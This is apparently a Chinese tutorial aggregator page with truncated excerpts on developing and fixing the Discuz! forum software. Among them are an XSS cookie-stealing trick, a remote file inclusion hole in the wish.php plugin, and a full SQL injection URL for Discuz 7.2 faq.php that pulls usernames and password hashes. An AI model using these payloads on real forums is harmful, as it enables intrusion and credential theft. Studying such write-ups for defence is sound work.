DISCUZ - 技术教程文章

discuz免激活同步登入代码修改方法(discuz同步登录)_PHP教程

代码如下://打开discuz/api/uc.php//synlogin方法(180行)处,往下找到if(($member = getuserbyuid($uid, 1))) { dsetcookie('auth', authcode("$member[password]\t$member[uid]", 'ENCODE'), $cookietime);} //改为if(($member = getuserbyuid($uid, 1))) { dsetcookie(auth, authcode("$member[password]\t$member[uid]", ENCODE), $cookietime);} else { if(!function_exists(uc_get_user)) { loaducenter();...

Discuz!跨站大全_PHP教程【图】

在discuz!的发贴、回贴、PM等中的subject都没有经过过滤,所以也可以添加代码。例如 http://xxx/post.php?action=newthread&fid=2...cript%3E%3Cb%22 效果是首先弹出自己的cookie 利用方法:把上述代码放置到img中。适用版本:discuz!2.x discuz!3.x 一种利用discuz!2.0漏洞进行欺骗获得cookie的尝试 通过测试XXXFan论坛的PM功能存在一个安全漏洞,具体描述如下: XXXFan的给某个会员发送悄悄的链接如下(假定这个会员名字为XX...

Discuz插件漏洞攻击_PHP教程

PS:话说光这个漏洞《黑客X档案》都说了N遍,呵呵........既然有人公布了,也有人连利用程序都写好了,那我也就公布吧!消息来源是鬼仔告诉我的,好像是火狐哪个大哥发现的洞,不太清楚了!  discuz论坛的许愿池插件在DZ根目录有个wish.php文件,文件第四行: require $discuz_root.‘./include/discuzcode.func.php‘;很明显程序没有做任何过滤,一个十足的远程包含漏洞,具体利用方法就很简单了:http://www.163.com/wish.php?d...

discuz模拟登录实现自动顶帖php程序_PHP教程

在php 模仿登录我们需要使用curl_init函数,下面我来介绍利用 curl 模拟 post 登录discuz论坛并且实现自动顶帖功能。其实模拟登录就那点事,无法就是获得相应的参数,然后模拟发送,把获得的COOKIE 带入下一步操作中去 discuzx 系列为防止灌水,一直在用 formhash() 这个函数: 1、下面来看下formhash 这个函数:代码如下 function formhash($specialadd = ) {global $_G;$hashadd = defined(IN_ADMINCP) ? Only For Discuz! Admin Cont...

discuzemail已经被注册的解决办法_PHP教程

如果论坛不唯一邮箱太多,又不能挨个修改,只能通过程序解决,防止修改的密码的时候报错。具体修改如下: 找到:$ucresult = uc_user_edit($discuz_user, $oldpassword, $newpassword, $emailnew, 0, $questionidnew, $answernew);在上面增加if($emailnew==$member[email]){$emailnew="";$emailnew1=$member[email];}else{$emailnew1=$emailnew;}找到:if($regverify == 1 && $adminid == 0 && $emailnew != $email && (($grouptyp...

PHP调用discuz登陆框实现外部登录_PHP教程

利用php调用discuz登录框方法有很多种,最常用的就是直接使用iframe方式调用了,还有就是直接在php页面中调用了,下面小编来给大家总结一些常用的方法。方法一,直接使用iframe调用一个加了discuz登录功能的页面代码如下login.html代码代码如下c-gd.com-登录* {margin:0;padding:0; } body {font: normal 12px Arial, Helvetica, Sans-Serif, "宋体";line-height: 160%;text-align:left;color: #3a3a3a;margin:0;padding:0; } img ...

discuz加密解密函数使用方法和中文注释_PHP教程

代码如下:/** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。 // 取值越大,密文变动规律越大,密文变化 = 16 的 $...

Discuz论坛Nemo模板引擎的制作_PHP教程

暂无 http://www.bkjia.com/PHPjc/735105.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/735105.htmlTechArticle暂无...

Windows版本Discuz!??EasyDiscuz!安装介绍_PHP教程【图】

一、什么是EasyDiscuz! for Windows ?正如您所了解并且可能正在使用的 Discuz!EXP、EasyDiscuz! for Linux 一样,EasyDiscuz! for Windows 是一个由Discuz!系统环境工程团队历经数月开发的能够在 Windows 服务器平台快速简便优质的搭建Discuz! 论坛程序运行环境的优质软件!使用 EasyDiscuz! for Windows 您只需轻点几下鼠标,填写一些基本配置即可构建好 IIS + PHP + MySQL + Zend Optimizer + phpMyAdmin+ Discuz! 论坛!EasyDi...

使用discuz的加密函数authcode来防刷票_PHP教程

最近做了一个投票,需要做防刷票措施。但是刷票很难防止,毕竟手段也多。为了最大程度上阻止刷票行为,就用了这么一个方法。首先在前台页面定义一个字符串www.bkjia.com,然后使用discuz的 authcode 函数,生成一串密文。这串密文每次都不一样,比如会生成10884NwIMCg5nDZ24rarNv+nBpsWut6ReT1grxHH4oKSdvgPmXJ0z2jEuePCe a8b4XU3yBHEec48KirVf0N3VAXKIQHm1qvwvpCYUu6ywwQJLR0ErlI1zwfG7tQ但是在后台经过解码,回复的明文最后都会变...

从Discuz里拿出来的PHP字符串加密函数_PHP教程

从discuz里面发现了一个很牛的加密解密函数。此函数的厉害之处在于可以在指定时间内加密还原字符串,超时无法还原。这样我们就可以拿此函数来做很多用途了,比如:单点登录的token加密传输啦,临时密码啦等等。在这里记录一下,方便以后应用。0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64...

Discuz升级提示static/image/postbg/3.jpg下载出现问题的解决办法_PHP教程

discuz2.5升级3.0的时候出现错误。提示static/image/postbg/3.jpg下载出现问题,其解决办法如下找到 source/admincp/admincp_upgrade.php 这个文件将文件中的$offset = 100 * 1024;替换为$offset = 0; 本文来源:Discuz升级提示static/image/postbg/3.jpg下载出现问题的解决办法http://www.bkjia.com/PHPjc/754405.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/754405.htmlTechArticlediscuz2.5升级3.0的时候出现错误。提示st...

discuz全局数组变量后台各项设置完整版_PHP教程

<span $_G 保存了 Discuz! 中所有的预处理数据 缓存能够很好的提高程序的性能,一些配置数据没必要每次都查询数据库,只要在修改了的时候更新下缓存即可。 Discuz! 中所有的缓存保存在 $_G[cache] 中 $_G[member] 会员信息数据 $_G[uid] 用户 uid $_G[username] 用户名 $_G[adminid] 用户管理组 id $_G[groupid] 用户用户组 id $_G[settting] 设置数据 $_G[cache] 系统缓存 $_G[cache][plugin] 插...

PHP+IIS环境下Discuz无法上传图片的解决办法_PHP教程

我的PHP是刚配置的,配置好就下载安装了Discuz!,没想到不能上传图片,后来我也试下其它的Php程序,同样无法上传图片,确定不是程序的问题,肯定是我的PHP配置有问题。我的PHP是IIS环境下配置的。后来百度了下,找到了问题所在,下面说下如何解决不能上传图片的问题。1、打开php.ini文件,找到upload_tmp_dir这行,去掉前面的注释,修改成如下行:upload_tmp_dir = D:\temp2、上面的意思是为上传设置一个临时目录,此目录需要可写权...

discuz密码加密方式_PHP教程

discuz密码加密的方式,记录在此。 discuz注册时,会把密码按一个规则加密。比如我的密码是123456echo md5("123456"); 会输出:e10adc3949ba59abbe56e057f20f883e 而数据库的值却为:7839dc9437013b5c11a5d86e9b8350e9 注意到:有个叫salt的字段,其值为:d82a35其实这是一个随机的字符串。第一次md5后的值再加上盐值(salt)再进行md5,就是要得到的值了。测试:www.jbxue.comecho md5(md5(123456).d82a35); 这回结果是:7839...

浅谈discuz密码加密的方式_PHP教程

discuz注册时,会把密码按一个规则加密。 比如我的密码是123456代码如下:echo md5("123456"); 会输出:代码如下:e10adc3949ba59abbe56e057f20f883e 而数据库的值却为:代码如下:7839dc9437013b5c11a5d86e9b8350e9 注意到: 有个叫salt的字段,其值为:d82a35 其实这是一个随机的字符串。 第一次md5后的值再加上盐值(salt)再进行md5,就是要得到的值了。 试一下代码如下:echo md5(md5(123456).d82a35); 这回结果是:7839dc9...

Discuz批量替换帖子内容的方法(使用SQL更新数据库)_PHP教程

今天一个朋友的Discuz X2论坛需要批量替换帖子的内容,帖子数量上万,一开始是通过设置词语过滤,发现无效果,只能通过数据库批量替换了,具体方法请接着往下看。 Discuz X2论坛后台提供数据库SQL语句操作的功能,但是默认情况下出于安全考虑,该功能是被关闭的,所以得先修改下配置文件,方法如下: 找到论坛程序文件config/config_global.php,用记事本打开该文件,然后查找$_config[security][querysafe][status]将其设置为0,继...

项目整合DiscuzUCenter,整合discuzucenter_PHP教程【图】

项目整合Discuz UCenter,整合discuzucenter虽然个人非常不喜欢discuz,但没办法,市场就是力量,特别是对于整合discuz论坛的朋友,你如果不想用两套系统的话,整合UCenter是必然的事,虽然无趣,但不得不这么做。 一、准备工作 1、uc api说明书,通读全文。参考http://faq.comsenz.com/library/UCenter/introduction/introduction_list.htm 2、uc 后台添加应用说明。参考http://faq.comsenz.com/viewnews-506(官方) http://wenk...

Discuz7.2版的faq.phpSQL注入漏洞分析,discuz7.2faq.php_PHP教程

Discuz7.2版的faq.php SQL注入漏洞分析,discuz7.2faq.php注入代码实例:http://www.gxlcms.com?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23漏洞分析: by phithon(...

重大发现DiscuzDB层跨库映射关系表名前缀BUG,discuz关系表_PHP教程【图】

重大发现Discuz DB层跨库映射关系表名前缀BUG,discuz关系表场景: 在Discuz中创建Table模型,但该Table所在库与Discuz不在同一个库。Discuz好像是在3之后提供跨库映射的机制。 映射没问题,主要是发现表名前缀没有相应的映射过来。当然,其实也不算bug。因为他只考虑discuz自己的系统,一般来说,表名前缀是相同的。在db驱动类里,db_driver_mysql(i): function table_name中追加代码if(!empty($this->config[$id][tablepre])){$...

DiscuzDB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表_PHP教程【图】

Discuz DB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表新的逻辑引入了新的bug,会导致在跨多库连接时,产生表名前缀映射混乱,需要再做逻辑上的修复。http://www.bkjia.com/PHPjc/865482.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/865482.htmlTechArticleDiscuz DB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表 新的逻辑引入了新的bug,会导致在跨多库连接时,产生表名前缀映射混乱...

destoon调用discuz论坛中带图片帖子的实现方法,destoondiscuz_PHP教程【图】

destoon调用discuz论坛中带图片帖子的实现方法,destoondiscuz 在destoon开发中有时候我们需要调用论坛的帖子,但是带有图片的帖子该怎么调用出来呢,本文就来实例展示一个可以调用discuz论坛带图片的帖子的方法: 标签代码如下:{loop $tags $t} {$t[subject]} {/loop}调用论坛新帖子的方法如下:{loop $tags $t} {$t[subject]} {/loop}希望本文所述方法对大家destoon开发有所帮助。Discuz! X2 论坛DIY门户模块,怎调用帖子内的图...

Discuz&amp;amp;UCenter修改手记,discuz论坛_PHP教程

Discuz & UCenter 修改手记,discuz论坛最近在整JAVA和UCENTER的东西,受限于项目架构需要,无法完全以UCENTER为中心,所以在对接过程中遇到了许多不愉快的事情。经历多番研究,终于解决了其中了两个大问题,现记录下来,以备日后查看。 一、解决email必须填写的问题 项目并不要求用户注册时填写email,但UCENTER API要求必须输入email才可以通过验证,不得已必须得修改UCENTER代码才能绕过。以下是改动的代码: /uc_server/contro...

DISCUZ更改群组发帖系统提醒成员notification_add发送通知提示函数,notification_PHP教程

DISCUZ 更改群组发帖系统提醒成员 notification_add 发送通知提示函数,notificationnotification_add($touid, $type, $note, $notevars = array(), $system = 0) $touid : 发送给谁? $type : 方式? 常用的是post $note : 可以自己编辑内容 $notevars = 一些内容参数 $system = 默认情况下为0将下列代码加入到souse/class/module/module_forum_thread.php文件第139行即可if($this->param['isgroup']==1){$bt=$this->param['subject...

discuz目录文件资料汇总,discuz目录资料汇总_PHP教程

discuz目录文件资料汇总,discuz目录资料汇总 在某处收集来的discuz目录资料,二次开发挺有用的。记录下。(基于7.0的标准程序,部分与插件无关的文件不作说明) 文件颜色说明: 红色:程序核心文件,修改这类文件时千万要注意安全! 橙色:做插件几乎不会用到的文件,大概了解功能就可以了,其实我也不推荐修改这些文件 绿色:函数类文件,许多功能强大的自定义函数可以调用这类文件来使用 蓝色:最标准的插件制作常用文件紫色:该文件被Zen...

对discuz的代码分析学习(四)论坛入口文件,discuz论坛入口_PHP教程

对discuz的代码分析学习(四)论坛入口文件,discuz论坛入口只是大致分析下执行流程,主要就是取得mod参数的值,根据取值加载控制器,控制器位置在最后一行指定了。1 )定义应用名称,加载两个必要文件define(APPTYPEID, 2); define(CURSCRIPT, forum);require ./source/class/class_core.php;//核心类 require ./source/function/function_forum.php;//论坛函数库2 )modarray数组限定了mod取值范围$modarray = array(ajax,announ...

discuz二次开发笔记(二)------跳转函数运用,discuz二次开发_PHP教程

discuz二次开发笔记(二)------跳转函数运用,discuz二次开发 前几天在增加修改功能时,突然用到一个提示函数,有点不理解,看了他的由来后果断做下笔记,感觉这在以后的开发中肯定还是要用的上的。有些地方不是很理解,在以后慢慢纠正、查补。 Htm页面中用的js跳转: $("#lyy_real").click(function(){$.post("api/realnamechange.php",{uname:$("#uname").val(),uid:$("#uid").val(),realname:$("#realname_lyy").val()},f...

discuz模板语法,discuz模板_PHP教程

discuz模板语法,discuz模板Discuz! X 模板的解析主要是 ./source/class/class_template.php 文件解析处理的,如果需要深入了解请可以看看这个文件!直接执行 PHP 代码标签://相当于 //相当于 //相当于 //相当于 //相当于 直接输出变量,等同于 PHP 的 , 花括号可以省略但不建议去掉。(模块程序处理后才能在这里调用): $announcements//一般情况下输出的内容不是简单的变量 //使用条件:1-变量需经函数处理 2-输出的是变量,不...

discuz二次开发笔记(一)------$_G全解析,discuz_g_PHP教程

discuz二次开发笔记(一)------$_G全解析,discuz_g$_G 保存了 Discuz! 中所有的预处理数据缓存能够很好的提高程序的性能,一些配置数据没必要每次都查询数据库,只要在修改了的时候更新下缓存即可。Discuz! 中所有的缓存保存在 $_G[cache] 中$_G[member] 会员信息数据$_G[uid] 用户 uid$_G[username] 用户名$_G[adminid] 用户管理组 id$_G[groupid] 用户用户组 id$_G[settting] 设置数据$_G[cache] 系统缓存$_G[cache][plugin] 插...

discuz图片顺序混乱解决方案,discuz解决方案_PHP教程【图】

discuz图片顺序混乱解决方案,discuz解决方案说明 discuz在发表帖子的时候,添加多张图片,然后直接发表帖子,图片顺序有时候会乱掉 即使上传图片窗口中图片顺序正确,发布之后还是会乱掉 分析 看url,程序代码中看不出什么 将图片名改为序号上传,顺序乱了,记下帖子中乱掉的图片顺序为:76123458 然后在数据库找到bbs_forum_attachment_1表,发现默认的顺序也为此:竟然也不按aid排序,有可能取的时候就直接取了没有order by 找到...